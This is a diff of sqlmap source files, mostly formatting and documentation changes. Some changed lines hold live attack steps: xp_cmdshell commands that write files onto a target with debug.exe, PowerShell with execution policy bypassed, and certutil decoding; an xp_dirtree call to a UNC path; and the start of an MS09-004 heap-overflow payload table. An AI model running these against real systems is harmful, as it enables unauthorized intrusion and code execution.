+    "larr": 8592,
-    'uarr':   8593,
+    "uarr": 8593,
-    'rarr':   8594,
+    "rarr": 8594,
-    'darr':   8595,
+    "darr": 8595,
-    'harr':   8596,
+    "harr": 8596,
-    'crarr':  8629,
+    "crarr": 8629,
-    'lArr':   8656,
+    "lArr": 8656,
-    'uArr':   8657,
+    "uArr": 8657,
-    'rArr':   8658,
+    "rArr": 8658,
-    'dArr':   8659,
+    "dArr": 8659,
-    'hArr':   8660,
+    "hArr": 8660,
-    'forall': 8704,
+    "forall": 8704,
-    'part':   8706,
+    "part": 8706,
-    'exist':  8707,
+    "exist": 8707,
-    'empty':  8709,
+    "empty": 8709,
-    'nabla':  8711,
+    "nabla": 8711,
-    'isin':   8712,
+    "isin": 8712,
-    'notin':  8713,
+    "notin": 8713,
-    'ni':     8715,
+    "ni": 8715,
-    'prod':   8719,
+    "prod": 8719,
-    'sum':    8721,
+    "sum": 8721,
-    'minus':  8722,
+    "minus": 8722,
-    'lowast': 8727,
+    "lowast": 8727,
-    'radic':  8730,
+    "radic": 8730,
-    'prop':   8733,
+    "prop": 8733,
-    'infin':  8734,
+    "infin": 8734,
-    'ang':    8736,
+    "ang": 8736,
-    'and':    8743,
+    "and": 8743,
-    'or':     8744,
+    "or": 8744,
-    'cap':    8745,
+    "cap": 8745,
-    'cup':    8746,
+    "cup": 8746,
-    'int':    8747,
+    "int": 8747,
-    'there4': 8756,
+    "there4": 8756,
-    'sim':    8764,
+    "sim": 8764,
-    'cong':   8773,
+    "cong": 8773,
-    'asymp':  8776,
+    "asymp": 8776,
-    'ne':     8800,
+    "ne": 8800,
-    'equiv':  8801,
+    "equiv": 8801,
-    'le':     8804,
+    "le": 8804,
-    'ge':     8805,
+    "ge": 8805,
-    'sub':    8834,
+    "sub": 8834,
-    'sup':    8835,
+    "sup": 8835,
-    'nsub':   8836,
+    "nsub": 8836,
-    'sube':   8838,
+    "sube": 8838,
-    'supe':   8839,
+    "supe": 8839,
-    'oplus':  8853,
+    "oplus": 8853,
-    'otimes': 8855,
+    "otimes": 8855,
-    'perp':   8869,
+    "perp": 8869,
-    'sdot':   8901,
+    "sdot": 8901,
-    'lceil':  8968,
+    "lceil": 8968,
-    'rceil':  8969,
+    "rceil": 8969,
-    'lfloor': 8970,
+    "lfloor": 8970,
-    'rfloor': 8971,
+    "rfloor": 8971,
-    'lang':   9001,
+    "lang": 9001,
-    'rang':   9002,
+    "rang": 9002,
-    'loz':    9674,
+    "loz": 9674,
-    'spades': 9824,
+    "spades": 9824,
-    'clubs':  9827,
+    "clubs": 9827,
-    'hearts': 9829,
+    "hearts": 9829,
-    'diams':  9830,
+    "diams": 9830,
 }

lib/utils/progress.py

@@ -62,8 +62,7 @@ class ProgressBar(object):
         elif numHashes == allFull:
             self._progBar = "[%s]" % ("=" * allFull)
         else:
-            self._progBar = "[%s>%s]" % ("=" * (numHashes - 1),
+            self._progBar = "[%s>%s]" % ("=" * (numHashes - 1), " " * (allFull - numHashes))
-                                          " " * (allFull - numHashes))
 
         # Add the percentage at the beginning of the progress bar
         percentString = getUnicode(percentDone) + "%"

lib/utils/search.py

@@ -20,6 +20,7 @@ from lib.core.common import urlencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CUSTOM_LOGGING
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import REDIRECTION
@@ -35,7 +36,6 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.request.basic import decodePage
 from thirdparty.socks import socks
 
-
 def _search(dork):
     """
     This method performs the effective search on Google providing
@@ -165,6 +165,7 @@ def _search(dork):
 
     return retVal
 
+@stackedmethod
 def search(dork):
     pushValue(kb.redirectChoice)
     kb.redirectChoice = REDIRECTION.YES
@@ -187,5 +188,5 @@ def search(dork):
     finally:
         kb.redirectChoice = popValue()
 
-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
     raise NotImplementedError

lib/utils/sqlalchemy.py

@@ -46,7 +46,7 @@ class SQLAlchemy(GenericConnector):
             try:
                 if not self.port and self.db:
                     if not os.path.exists(self.db):
-                        raise SqlmapFilePathException, "the provided database file '%s' does not exist" % self.db
+                        raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db)
 
                     _ = conf.direct.split("//", 1)
                     conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db))
@@ -54,7 +54,13 @@ class SQLAlchemy(GenericConnector):
                 if self.dialect:
                     conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1)
 
-                engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False} if self.dialect == "sqlite" else {})
+                if self.dialect == "sqlite":
+                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False})
+                elif self.dialect == "oracle":
+                    engine = _sqlalchemy.create_engine(conf.direct)
+                else:
+                    engine = _sqlalchemy.create_engine(conf.direct, connect_args={})
+
                 self.connector = engine.connect()
             except (TypeError, ValueError):
                 if "_get_server_version_info" in traceback.format_exc():

lib/utils/versioncheck.py

@@ -10,9 +10,9 @@ import sys
 PYVERSION = sys.version.split()[0]
 
 if PYVERSION >= "3" or PYVERSION < "2.6":
-    exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
+    exit("[CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % PYVERSION)
 
-extensions = ("gzip", "ssl", "sqlite3", "zlib")
+extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib")
 try:
     for _ in extensions:
         __import__(_)
@@ -20,4 +20,4 @@ except ImportError:
     errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions))
     errMsg += "most likely because current version of Python has been "
     errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')"
-    exit(errMsg)
+    exit(errMsg)

lib/utils/xrange.py

@@ -69,7 +69,7 @@ class xrange(object):
         if isinstance(index, slice):
             start, stop, step = index.indices(self._len())
             return xrange(self._index(start),
-                          self._index(stop), step*self.step)
+                          self._index(stop), step * self.step)
         elif isinstance(index, (int, long)):
             if index < 0:
                 fixed_index = index + self._len()

plugins/dbms/access/fingerprint.py

@@ -48,11 +48,12 @@ class Fingerprint(GenericFingerprint):
 
         # Microsoft Access table reference updated on 01/2010
         sysTables = {
-                      "97":           ("MSysModules2", "MSysAccessObjects"),
+            "97": ("MSysModules2", "MSysAccessObjects"),
-                      "2000" :        ("!MSysModules2", "MSysAccessObjects"),
+            "2000": ("!MSysModules2", "MSysAccessObjects"),
-                      "2002-2003" :   ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
+            "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
-                      "2007" :        ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
+            "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"),
-                    }
+        }
+
         # MSysAccessXML is not a reliable system table because it doesn't always exist
         # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
 

plugins/dbms/db2/connector.py

@@ -19,9 +19,9 @@ from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
     """
-    Homepage: http://code.google.com/p/ibm-db/
+    Homepage: https://github.com/ibmdb/python-ibmdb
-    User guide: http://code.google.com/p/ibm-db/wiki/README
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    API: https://www.python.org/dev/peps/pep-0249/
     License: Apache License 2.0
     """
 
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
         except ibm_db_dbi.OperationalError, msg:
             raise SqlmapConnectionException(msg)
 
-
         self.initCursor()
         self.printConnected()
 

plugins/dbms/db2/enumeration.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-
 from lib.core.data import logger
 from plugins.generic.enumeration import Enumeration as GenericEnumeration
 

plugins/dbms/db2/fingerprint.py

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-
 from lib.core.common import Backend
 from lib.core.common import Format
 from lib.core.data import conf
@@ -64,9 +63,9 @@ class Fingerprint(GenericFingerprint):
             value += DBMS.DB2
             return value
 
-        actVer      = Format.getDbms()
+        actVer = Format.getDbms()
-        blank       = " " * 15
+        blank = " " * 15
-        value      += "active fingerprint: %s" % actVer
+        value += "active fingerprint: %s" % actVer
 
         if kb.bannerFp:
             banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
@@ -127,12 +126,14 @@ class Fingerprint(GenericFingerprint):
         infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
 
         if result:
-            versions = { "2003": ("5.2", (2, 1)),
+            versions = {
+                "2003": ("5.2", (2, 1)),
                 "2008": ("7.0", (1,)),
                 "2000": ("5.0", (4, 3, 2, 1)),
                 "7": ("6.1", (1, 0)),
                 "XP": ("5.1", (2, 1)),
-                "NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
+                "NT": ("4.0", (6, 5, 4, 3, 2, 1))
+            }
 
             # Get back-end DBMS underlying operating system version
             for version, data in versions.items():

plugins/dbms/firebird/connector.py

@@ -39,8 +39,8 @@ class Connector(GenericConnector):
             self.checkFileDb()
 
         try:
-            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \
+            # Reference: http://www.daniweb.com/forums/thread248499.html
-                user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")  # Reference: http://www.daniweb.com/forums/thread248499.html
+            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
         except kinterbasdb.OperationalError, msg:
             raise SqlmapConnectionException(msg[1])
 

plugins/dbms/firebird/fingerprint.py

@@ -68,12 +68,12 @@ class Fingerprint(GenericFingerprint):
     def _sysTablesCheck(self):
         retVal = None
         table = (
-                    ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
+            ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)),
-                    ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
+            ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
-                    ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
+            ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
-                    ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
+            ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
-                    # TODO: add test for Firebird 2.5
+            # TODO: add test for Firebird 2.5
-                 )
+        )
 
         for i in xrange(len(table)):
             version, checks = table[i]

plugins/dbms/hsqldb/connector.py

@@ -46,11 +46,8 @@ class Connector(GenericConnector):
 
         try:
             driver = 'org.hsqldb.jdbc.JDBCDriver'
-            connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
+            connection_string = 'jdbc:hsqldb:mem:.'  # 'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db)
-            self.connector = jaydebeapi.connect(driver,
+            self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password))
-                                        connection_string,
-                                        str(self.user),
-                                        str(self.password))
         except Exception, msg:
             raise SqlmapConnectionException(msg[0])
 
@@ -70,7 +67,7 @@ class Connector(GenericConnector):
         try:
             self.cursor.execute(query)
             retVal = True
-        except Exception, msg: #todo fix with specific error
+        except Exception, msg:  # TODO: fix with specific error
             logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1])
 
         self.connector.commit()

plugins/dbms/hsqldb/fingerprint.py

@@ -125,9 +125,12 @@ class Fingerprint(GenericFingerprint):
 
             return True
         else:
-            warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB
+            warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
             logger.warn(warnMsg)
 
+            dbgMsg = "...or version is < 1.7.2"
+            logger.debug(dbgMsg)
+
             return False
 
     def getHostname(self):

plugins/dbms/informix/connector.py

@@ -19,9 +19,9 @@ from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
     """
-    Homepage: http://code.google.com/p/ibm-db/
+    Homepage: https://github.com/ibmdb/python-ibmdb
-    User guide: http://code.google.com/p/ibm-db/wiki/README
+    User guide: https://github.com/ibmdb/python-ibmdb/wiki/README
-    API: http://www.python.org/dev/peps/pep-0249/
+    API: https://www.python.org/dev/peps/pep-0249/
     License: Apache License 2.0
     """
 
@@ -37,7 +37,6 @@ class Connector(GenericConnector):
         except ibm_db_dbi.OperationalError, msg:
             raise SqlmapConnectionException(msg)
 
-
         self.initCursor()
         self.printConnected()
 

plugins/dbms/informix/syntax.py

@@ -41,4 +41,4 @@ class Syntax(GenericSyntax):
             for _ in excluded.items():
                 retVal = retVal.replace(_[1], _[0])
 
-        return retVal
+        return retVal

plugins/dbms/maxdb/enumeration.py

@@ -108,7 +108,7 @@ class Enumeration(GenericEnumeration):
             conf.db = self.getCurrentDb()
 
         elif conf.db is not None:
-            if  ',' in conf.db:
+            if ',' in conf.db:
                 errMsg = "only one database name is allowed when enumerating "
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
@@ -120,8 +120,8 @@ class Enumeration(GenericEnumeration):
         else:
             colList = []
 
-        if conf.excludeCol:
+        if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
         for col in colList:
             colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
@@ -184,9 +184,7 @@ class Enumeration(GenericEnumeration):
         rootQuery = queries[DBMS.MAXDB].columns
 
         for tbl in tblList:
-            if conf.db is not None and len(kb.data.cachedColumns) > 0 \
+            if conf.db is not None and len(kb.data.cachedColumns) > 0 and conf.db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[conf.db]:
-              and conf.db in kb.data.cachedColumns and tbl in \
-              kb.data.cachedColumns[conf.db]:
                 infoMsg = "fetched tables' columns on "
                 infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                 logger.info(infoMsg)

plugins/dbms/mssqlserver/__init__.py

@@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.syntax import Syntax
 from plugins.dbms.mssqlserver.takeover import Takeover
 from plugins.generic.misc import Miscellaneous
 
-
 class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
     """
     This class defines Microsoft SQL Server methods

plugins/dbms/mssqlserver/connector.py

@@ -21,9 +21,9 @@ from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
     """
-    Homepage: http://pymssql.sourceforge.net/
+    Homepage: http://www.pymssql.org/en/stable/
-    User guide: http://pymssql.sourceforge.net/examples_pymssql.php
+    User guide: http://www.pymssql.org/en/stable/pymssql_examples.html
-    API: http://pymssql.sourceforge.net/ref_pymssql.php
+    API: http://www.pymssql.org/en/stable/ref/pymssql.html
     Debian package: python-pymssql
     License: LGPL
 
@@ -43,6 +43,8 @@ class Connector(GenericConnector):
             self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout)
         except (pymssql.Error, _mssql.MssqlDatabaseException), msg:
             raise SqlmapConnectionException(msg)
+        except ValueError:
+            raise SqlmapConnectionException
 
         self.initCursor()
         self.printConnected()

plugins/dbms/mssqlserver/enumeration.py

@@ -14,6 +14,7 @@ from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import safeSQLIdentificatorNaming
 from lib.core.common import safeStringFormat
+from lib.core.common import singleTimeLogMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.data import conf
@@ -94,8 +95,12 @@ class Enumeration(GenericEnumeration):
             for db in dbs:
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
-                    logger.info(infoMsg)
+                    singleTimeLogMessage(infoMsg)
+                    continue
 
+                if conf.exclude and db in conf.exclude.split(','):
+                    infoMsg = "skipping database '%s'" % db
+                    singleTimeLogMessage(infoMsg)
                     continue
 
                 for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3):
@@ -113,8 +118,12 @@ class Enumeration(GenericEnumeration):
             for db in dbs:
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
-                    logger.info(infoMsg)
+                    singleTimeLogMessage(infoMsg)
+                    continue
 
+                if conf.exclude and db in conf.exclude.split(','):
+                    infoMsg = "skipping database '%s'" % db
+                    singleTimeLogMessage(infoMsg)
                     continue
 
                 infoMsg = "fetching number of tables for "
@@ -199,8 +208,12 @@ class Enumeration(GenericEnumeration):
 
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
-                    logger.info(infoMsg)
+                    singleTimeLogMessage(infoMsg)
+                    continue
 
+                if conf.exclude and db in conf.exclude.split(','):
+                    infoMsg = "skipping database '%s'" % db
+                    singleTimeLogMessage(infoMsg)
                     continue
 
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
@@ -271,8 +284,8 @@ class Enumeration(GenericEnumeration):
         infoMsgDb = ""
         colList = conf.col.split(',')
 
-        if conf.excludeCol:
+        if conf.exclude:
-            colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
+            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
 
         origTbl = conf.tbl
         origDb = conf.db
@@ -318,8 +331,7 @@ class Enumeration(GenericEnumeration):
                 _ = conf.db.split(',')
                 infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
             elif conf.excludeSysDbs:
-                msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
+                infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
-                logger.info(msg)
             else:
                 infoMsgDb = " across all databases"
 
@@ -334,6 +346,9 @@ class Enumeration(GenericEnumeration):
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     continue
 
+                if conf.exclude and db in conf.exclude.split(','):
+                    continue
+
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                     query = rootQuery.inband.query % (db, db, db, db, db, db)
                     query += " AND %s" % colQuery.replace("[DB]", db)
@@ -353,16 +368,16 @@ class Enumeration(GenericEnumeration):
                             if foundTbl not in dbs[db]:
                                 dbs[db][foundTbl] = {}
 
-                            if colConsider == "1":
+                            if colConsider == '1':
                                 conf.db = db
                                 conf.tbl = foundTbl
                                 conf.col = column
 
                                 self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
 
-                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\
+                                if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
-                                  and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                     dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
+
                                 kb.data.cachedColumns = {}
                             else:
                                 dbs[db][foundTbl][column] = None

plugins/dbms/mssqlserver/filesystem.py

@@ -73,10 +73,13 @@ class Filesystem(GenericFilesystem):
 
         logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
 
-        commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr)
+        commands = (
-        complComm = " & ".join(command for command in commands)
+            "cd \"%s\"" % tmpPath,
+            "debug < %s" % randScr,
+            "del /F /Q %s" % randScr
+        )
 
-        self.execCmd(complComm)
+        self.execCmd(" & ".join(command for command in commands))
 
         return chunkName
 
@@ -195,12 +198,13 @@ class Filesystem(GenericFilesystem):
 
         logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
 
-        commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
+        commands = (
-                    "del /F /Q \"%s\"" % encodedBase64FilePath,
+            "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
-                    "del /F /Q \"%s\"" % randPSScriptPath)
+            "del /F /Q \"%s\"" % encodedBase64FilePath,
-        complComm = " & ".join(command for command in commands)
+            "del /F /Q \"%s\"" % randPSScriptPath
+        )
 
-        self.execCmd(complComm)
+        self.execCmd(" & ".join(command for command in commands))
 
     def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
         infoMsg = "using debug.exe to write the %s " % fileType
@@ -219,10 +223,13 @@ class Filesystem(GenericFilesystem):
             debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
             logger.debug(debugMsg)
 
-            commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
+            commands = (
-            complComm = " & ".join(command for command in commands)
+                "cd \"%s\"" % tmpPath,
+                "ren %s %s" % (chunkName, dFileName),
+                "move /Y %s %s" % (dFileName, dFile)
+            )
 
-            self.execCmd(complComm)
+            self.execCmd(" & ".join(command for command in commands))
         else:
             debugMsg = "the file is larger than %d bytes. " % debugSize
             debugMsg += "sqlmap will split it into chunks locally, upload "
@@ -244,17 +251,22 @@ class Filesystem(GenericFilesystem):
                 debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
                 logger.debug(debugMsg)
 
-                commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName)
+                commands = (
-                complComm = " & ".join(command for command in commands)
+                    "cd \"%s\"" % tmpPath,
+                    copyCmd,
+                    "del /F /Q %s" % chunkName
+                )
 
-                self.execCmd(complComm)
+                self.execCmd(" & ".join(command for command in commands))
 
             logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile))
 
-            commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
+            commands = (
-            complComm = " & ".join(command for command in commands)
+                "cd \"%s\"" % tmpPath,
+                "move /Y %s %s" % (dFileName, dFile)
+            )
 
-            self.execCmd(complComm)
+            self.execCmd(" & ".join(command for command in commands))
 
     def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType):
         infoMsg = "using a custom visual basic script to write the "
@@ -330,12 +342,14 @@ class Filesystem(GenericFilesystem):
 
         self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
 
-        commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs,
+        commands = (
-                     "del /F /Q %s" % randVbs,
+            "cd \"%s\"" % tmpPath,
-                     "del /F /Q %s" % randFile)
+            "cscript //nologo %s" % randVbs,
-        complComm = " & ".join(command for command in commands)
+            "del /F /Q %s" % randVbs,
+            "del /F /Q %s" % randFile
+        )
 
-        self.execCmd(complComm)
+        self.execCmd(" & ".join(command for command in commands))
 
     def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
         infoMsg = "using certutil.exe to write the %s " % fileType
@@ -349,7 +363,7 @@ class Filesystem(GenericFilesystem):
 
         encodedFileContent = base64encode(wFileContent)
 
-        splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
+        splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
 
         logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
 
@@ -357,11 +371,13 @@ class Filesystem(GenericFilesystem):
 
         logger.debug("decoding the file to %s.." % dFile)
 
-        commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile),
+        commands = (
-                     "del /F /Q %s" % randFile)
+            "cd \"%s\"" % tmpPath,
-        complComm = " & ".join(command for command in commands)
+            "certutil -f -decode %s %s" % (randFile, dFile),
+            "del /F /Q %s" % randFile
+        )
 
-        self.execCmd(complComm)
+        self.execCmd(" & ".join(command for command in commands))
 
     def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
         # NOTE: this is needed here because we use xp_cmdshell extended

plugins/dbms/mssqlserver/fingerprint.py

@@ -88,12 +88,14 @@ class Fingerprint(GenericFingerprint):
             infoMsg = "confirming %s" % DBMS.MSSQL
             logger.info(infoMsg)
 
-            for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \
+            for version, check in (
-                                    ("2005", "XACT_STATE()=XACT_STATE()"), \
+                ("2000", "HOST_NAME()=HOST_NAME()"),
-                                    ("2008", "SYSDATETIME()=SYSDATETIME()"), \
+                ("2005", "XACT_STATE()=XACT_STATE()"),
-                                    ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), \
+                ("2008", "SYSDATETIME()=SYSDATETIME()"),
-                                    ("2014", "CHARINDEX('12.0.2000',@@version)>0"), \
+                ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
-                                    ("2016", "ISJSON(NULL) IS NULL")):
+                ("2014", "CHARINDEX('12.0.2000',@@version)>0"),
+                ("2016", "ISJSON(NULL) IS NULL")
+            ):
                 result = inject.checkBooleanExpression(check)
 
                 if result:
@@ -134,16 +136,18 @@ class Fingerprint(GenericFingerprint):
         self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
         inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
 
-        # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
+        # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions
-        # http://en.wikipedia.org/wiki/Windows_NT#Releases
+        # https://en.wikipedia.org/wiki/Windows_NT#Releases
-        versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
+        versions = {
-                     "2000": ("5.0", (4, 3, 2, 1)),
+            "NT": ("4.0", (6, 5, 4, 3, 2, 1)),
-                     "XP": ("5.1", (3, 2, 1)),
+            "2000": ("5.0", (4, 3, 2, 1)),
-                     "2003": ("5.2", (2, 1)),
+            "XP": ("5.1", (3, 2, 1)),
-                     "Vista or 2008": ("6.0", (2, 1)),
+            "2003": ("5.2", (2, 1)),
-                     "7 or 2008 R2": ("6.1", (1, 0)),
+            "Vista or 2008": ("6.0", (2, 1)),
-                     "8 or 2012": ("6.2", (0,)),
+            "7 or 2008 R2": ("6.1", (1, 0)),
-                     "8.1 or 2012 R2": ("6.3", (0,)) }
+            "8 or 2012": ("6.2", (0,)),
+            "8.1 or 2012 R2": ("6.3", (0,))
+        }
 
         # Get back-end DBMS underlying operating system version
         for version, data in versions.items():

plugins/dbms/mssqlserver/takeover.py

@@ -20,32 +20,33 @@ class Takeover(GenericTakeover):
         GenericTakeover.__init__(self)
 
     def uncPathRequest(self):
-        #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
+        # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
         inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
 
     def spHeapOverflow(self):
         """
         References:
-        * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
+        * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004
-        * http://support.microsoft.com/kb/959420
+        * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co
         """
 
         returns = {
-                    # 2003 Service Pack 0
+            # 2003 Service Pack 0
-                    "2003-0": (""),
+            "2003-0": (""),
 
-                    # 2003 Service Pack 1
+            # 2003 Service Pack 1
-                    "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
